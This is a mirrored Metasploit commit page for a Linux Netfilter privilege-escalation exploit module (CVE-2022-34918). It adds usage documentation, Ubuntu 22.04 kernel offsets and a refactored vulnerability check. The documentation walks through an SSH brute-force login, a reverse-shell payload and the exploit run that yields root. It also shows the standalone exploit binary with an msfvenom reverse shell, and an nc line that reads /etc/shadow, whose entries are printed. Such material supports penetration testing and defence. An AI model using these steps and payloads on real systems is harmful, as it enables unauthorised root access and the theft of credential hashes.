1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Add module docs, add Ubuntu 22.04 offsets, update check method

This commit is contained in:
Redouane NIBOUCHA 2022-07-22 03:28:42 +02:00
parent 73db035e57
commit 37f1fdd47b
5 changed files with 176 additions and 29 deletions

View File

@ -0,0 +1,149 @@
## Vulnerable Application
This module exploits a vulnerability in Netfilter, the Linux Kernel component
that implements firewall capabilities in Linux.
The vulnerability is a type-confusion bug that leads to a heap overflow in kernel memory.
The exploit relies on spraying, it may fail, or crash the target system.
### Install
The vulnerability exists in linux kernel versions from `5.8-rc1` up to `v5.19-rc5`.
this module contains offsets for some vulnerable Ubuntu versions.
Install Ubuntu 22.04 LTS with a vulnerable kernel version.
`apt-get install linux-image-5.15.0-25-generic`
Hold shift when you reboot and select the proper kernel version
## Verification Steps
1. Make an Ubuntu target.
1. Create a Meterpreter or shell payload and upload it to the Ubuntu target. Or setup openssh-server, and use the corresponding auxiliary module.
1. Get a session
1. Do: `use exploit/linux/local/netfilter_nft_set_elem_init_privesc`
1. Do: `set session <session_id>`
1. Do: `set payload <payload>`
1. Do: `set lhost <ip>`
1. Do: `set [r|l]port <port>`
1. Do: `run`
1. You should get a new session as the `root` user.
1. If it fails, retry, or reboot Ubuntu and retry.
## Options
### COMPILE
[Auto|True|False] This selects the binary to use. `True` will cause the module to upload the source
code and perform compilation on target, `False` will cause the module to upload a precompiled binary.
`Auto` will cause the module to try compiling the exploit on the target but will fall back to the
precompiled option if a compiler cannot be found.
### WritableDir
This indicates the location where you would like the payload and exploit binary stored.
The default value is `/tmp`
Due to the exploitation strategy that this module relies on, `/tmp` must be writable, even if
`WritableDir` is a different directory. `modprobe_path` gets overwritten with a path to a file
in `/tmp`. This file is a bash script that adds the setuid bit to the payload uploaded at
`WritableDir`.
## Scenarios
### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic
```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.40
rhosts => 192.168.0.40
msf6 auxiliary(scanner/ssh/ssh_login) > set username redouane
username => redouane
msf6 auxiliary(scanner/ssh/ssh_login) > set password user
password => user
msf6 auxiliary(scanner/ssh/ssh_login) > run
[*] 192.168.0.40:22 - Starting bruteforce
[+] 192.168.0.40:22 - Success: 'redouane:user' 'uid=1000(redouane) gid=1000(redouane) groupes=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux hopeful-zhukovky 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux '
[*] SSH session 1 opened (192.168.0.32:46499 -> 192.168.0.40:22) at 2022-07-22 02:44:56 +0200
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/netfilter_nft_set_elem_init_privesc
[*] Using configured payload linux/x64/shell_reverse_tcp
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set lhost wlan0
lhost => wlan0
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set session 1
session => 1
msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture:
[*] Started reverse TCP handler on 192.168.0.32:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Dropping pre-compiled binaries to system...
[*] Writing '/tmp/z9G2XJ' (761240 bytes) ...
[*] Uploading payload...
[*] Writing '/tmp/AsfKz' (248 bytes) ...
[*] Running payload on remote system...
[+] Deleted /tmp/z9G2XJ
[+] Deleted /tmp/AsfKz
[*] Command shell session 2 opened (192.168.0.32:4444 -> 192.168.0.40:35956) at 2022-07-22 02:45:54 +0200
id
[*] Payload executed! If it was successful, a session should have been created
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
```
## Notes
### Included Binaries
The binary used by this exploit `data/exploits/CVE-2022-34918/ubuntu.elf` can be used separately from
Metasploit. The binary takes a single argument which is the payload or executable you wish to launch as `root`.
The exploit adds the setuid bit to the payload, the path given must be absolute, avoid binaries that don't run
when the setuid bit is detected.
Also, the exploit process forks, gets its child to execute the setuid payload binary, and exits
(it doesn't call `wait` or `waitpid`). For this reason, don't expect the binary to read input from standard input.
The following snippet shows an example of how one might run a payload to get
a new Bash shell as the `root` user.
```
redouane@wizardly-maxwell:~$ id
uid=1000(redouane) gid=1000(redouane) groups=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
redouane@wizardly-maxwell:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 PrependSetresuid=true PrependSetresgid=true -f elf -o payload
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 96 bytes
Final size of elf file: 216 bytes
Saved as: payload
redouane@wizardly-maxwell:~$ chmod +x payload
redouane@wizardly-maxwell:~$ (echo id; head -n 2 /etc/shadow) | nc -lvvp1337 &
[1] 2272
redouane@wizardly-maxwell:~$ Listening on 0.0.0.0 1337
redouane@wizardly-maxwell:~$ ./ubuntu.elf /home/redouane/payload
[+] kernel version '5.15.0-25-generic #25-Ubuntu' detected
[+] Second process currently waiting
[+] Get CAP_NET_ADMIN capability
[+] Netlink socket created
[+] Netlink socket bound
[+] Table table created
[+] Set for the leak created
[+] Set for write primitive created
[*] Leak in process
[+] Leak succeed
[+] kaslr base found 0xffffffff9f000000
[+] physmap base found 0xffff910a00000000
[+] modprobe path changed !
[+] Modprobe payload setup
[?] waitpid
[?] sem_post
[+++] Got root shell, should exit?
Connection received on localhost 56962
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare),1000(redouane)
root:!:19193:0:99999:7:::
daemon:*:19101:0:99999:7:::
```

View File

@ -26,5 +26,5 @@ obj:
mkdir obj
clean:
rm -rf obj/*.o
rm -rf obj
rm -f $(TARGET)

View File

@ -13,9 +13,24 @@
struct kernel_info kernels[] = {
// 22.04 LTS
{ "5.15.0-39-generic #42-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
{ "5.15.0-40-generic #43-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
{ "5.15.0-25-generic #25-Ubuntu", 0x3dda20, 0x3de520, 0x1e8b3a0 },
{ "5.15.0-24-lowlatency #24-Ubuntu", 0x3e68a0, 0x3e7690, 0x1e8c320 },
{ "5.15.0-25-generic #25-Ubuntu", 0x3dda20, 0x3de520, 0x1e8b3a0 },
{ "5.15.0-27-generic #28-Ubuntu", 0x3ddaf0, 0x3de5f0, 0x1e8b320 },
{ "5.15.0-27-lowlatency #28-Ubuntu", 0x3e6970, 0x3e7760, 0x1e8c2a0 },
{ "5.15.0-30-generic #31-Ubuntu", 0x3dea40, 0x3df540, 0x1e8b460 },
{ "5.15.0-30-lowlatency #31-Ubuntu", 0x3e78b0, 0x3e86a0, 0x1e8c3e0 },
{ "5.15.0-33-generic #34-Ubuntu", 0x3dea40, 0x3df540, 0x1e8b460 },
{ "5.15.0-33-lowlatency #34-Ubuntu", 0x3e78c0, 0x3e86b0, 0x1e8c3e0 },
{ "5.15.0-35-generic #36-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b560 },
{ "5.15.0-35-lowlatency #36-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c4e0 },
{ "5.15.0-37-generic #39-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b560 },
{ "5.15.0-37-lowlatency #39-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c4e0 },
{ "5.15.0-39-generic #42-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
{ "5.15.0-39-lowlatency #42-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c5a0 },
{ "5.15.0-40-generic #43-Ubuntu", 0x3dfa00, 0x3e04f0, 0x1e8b620 },
{ "5.15.0-40-lowlatency #43-Ubuntu", 0x3e88d0, 0x3e96b0, 0x1e8c5a0 },
{ "5.15.0-41-generic #44-Ubuntu", 0x3e00a0, 0x3e0b90, 0x1e8b660 },
{ "5.15.0-41-lowlatency #44-Ubuntu", 0x3e8f70, 0x3e9d50, 0x1e8c5e0 },
// Ubuntu 20.04.4 LTS
{ "5.11.0-41-generic #45~20.04.1-Ubuntu", 0x37db60, 0x389a80, 0x1c6c2e0 },
{ "5.11.0-44-generic #48~20.04.2-Ubuntu", 0x37de70, 0x389a90, 0x1c6c2e0 },

View File

@ -90,7 +90,7 @@ class MetasploitModule < Msf::Exploit::Local
def run_payload
info = cmd_exec(@executable_path, @payload_path)
info.each_line do |line|
print_status(line)
print_status(line.chomp)
end
print_status('Payload executed! If it was successful, a session should have been created')
end
@ -106,35 +106,18 @@ class MetasploitModule < Msf::Exploit::Local
def check
config = kernel_config
if config.nil?
vprint_error 'Could not retrieve kernel config'
return CheckCode::Unknown
end
unless config.include? 'CONFIG_USER_NS=y'
vprint_error 'Kernel config does not include CONFIG_USER_NS'
return CheckCode::Safe
end
vprint_good 'Kernel config has CONFIG_USER_NS enabled'
return CheckCode::Unknown('Could not retrieve kernel config') if config.nil?
unless userns_enabled?
vprint_error 'Unprivileged user namespaces are not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged user namespaces are permitted'
return CheckCode::Safe('Kernel config does not include CONFIG_USER_NS') unless config.include?('CONFIG_USER_NS=y')
if lkrg_installed?
vprint_error 'LKRG is installed'
return CheckCode::Safe
end
vprint_good 'LKRG is not installed'
return CheckCode::Safe('Unprivileged user namespaces are not permitted') unless userns_enabled?
return CheckCode::Safe('LKRG is installed') if lkrg_installed?
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
return CheckCode::Safe("System architecture #{arch} is not supported") unless arch.include?('x86_64')
release = kernel_release
version = "#{release} #{kernel_version.split(' ').first}"